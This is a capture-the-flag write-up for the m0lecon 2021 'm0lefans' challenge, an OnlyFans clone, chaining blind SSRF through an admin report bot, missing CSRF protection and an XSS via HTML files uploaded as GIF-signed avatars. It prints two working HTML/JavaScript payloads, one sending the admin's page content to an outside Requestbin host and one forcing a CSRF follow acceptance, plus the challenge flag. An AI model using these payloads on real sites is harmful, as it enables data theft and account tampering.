Tags: ssrf xss 

Rating:

[Link to original writeup](https://wrecktheline.com/writeups/m0lecon-2021/#m0lefans)
# m0lefans (32 solves, 149 points)
by 0xkasper

```
I was concerned my friends would find my private page, so I created my own clone where you can only follow people who give you their profile's link!

Go, post photos of your private ventilator without fear!

Authors: Alberto247, Xato
```

This challenge consists of an OnlyFans clone called m0lefans.
When registering for an account, we see that we have a random UID as subdomain, which is also our private page. In settings we can change this UID, user information, avatar, as well as our page's visibility (public or private). We can post images with a text and it'll show up on our profile. There is a feed page with all public profile's posts and a search function.

However, the most important function is the 'Report a post to the admin' button on the bottom. This form allows you to submit a URL. After submitting my Requestbin, I indeed get a hit and it confirms (blind) SSRF. Afterwards I upload a simple HTML page to my website and make Javascript redirect to my Requestbin. I again get a hit, confirming that the page is rendered and Javascript is executed.

On the site, only the settings form has CSRF protection. The follow, unfollow, like, etc. functionalities don't. Most even use GET instead of POST.
By submitting `https://3ae54fb5-5881-47a5-97bd-df3c86f6e54f.m0lecon.fans/profile/follow` (where `3ae54fb5-5881-47a5-97bd-df3c86f6e54f` is my UID) as URL report, I get the admin to request a follow. This only gives you the username of the admin, not yet their subdomain.

From the description, we can gather that the goal is to find the admin's subdomain. However, in order to retrieve information from the blind SSRF with JS, we need to find an XSS. Luckily there is one: the image upload functionality (for post and avatar) only checks the byte signature of the file, so we can upload HTML files.

If we upload the following XSS payload as avatar:
```html
GIF89a
<html>
<body>
<form method="POST" action="https://requestbin.net/r/fhi4tmg0">
<input id="html" type="text" name="html">
</form>
<script>
var xhr = new XMLHttpRequest();
xhr.onload = function() {
let id = this.responseText;
document.getElementById("html").value = id;
document.forms[0].submit();
}
xhr.open("GET", "https://m0lecon.fans/feed/new");
xhr.send();
</script>
</body>
</html>
```
This will put the payload at `https://m0lecon.fans/static/media/avatars/3ae54fb5-5881-47a5-97bd-df3c86f6e54f.html`.
This payload is at the main domain, while the authentication cookie is scoped to a subdomain, so we can't retrieve the admin's credentials. However, we can make a request to a page on the main domain, such as /feed/new and from there grab the admin's subdomain from the returned HTML.
The HTML is sent to the Requestbin and we can see the admin's subdomain there:
`https://y0urmuchb3l0v3d4dm1n.m0lecon.fans/profile/`

When viewing this page in the browser, we can request to follow it, but the admin still has to accept the follow.
But thanks to no CSRF protection and the blind SSRF, we can make the admin accept us.
Accepting a follow request is simply done through a POST request to /profile/request, with an `id` parameter containing a user ID.
Your user ID can be figured out by creating a second account, requesting a follow and viewing the request when accepting it.

Then we can upload this as avatar:
```html
GIF89a
<html>
<body>
<form method="POST" action="https://y0urmuchb3l0v3d4dm1n.m0lecon.fans/profile/request">
<input type="text" name="id" value="47">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```
And report the avatar URL again, so the admin will view it and consequently accept our follow request due to the CSRF.

After that we can access the admin's posts and find the flag as post title:
`ptm{m4k3_CSP_r3ports_gr3a7_4gain!}`

Original writeup (https://wrecktheline.com/writeups/m0lecon-2021/#m0lefans).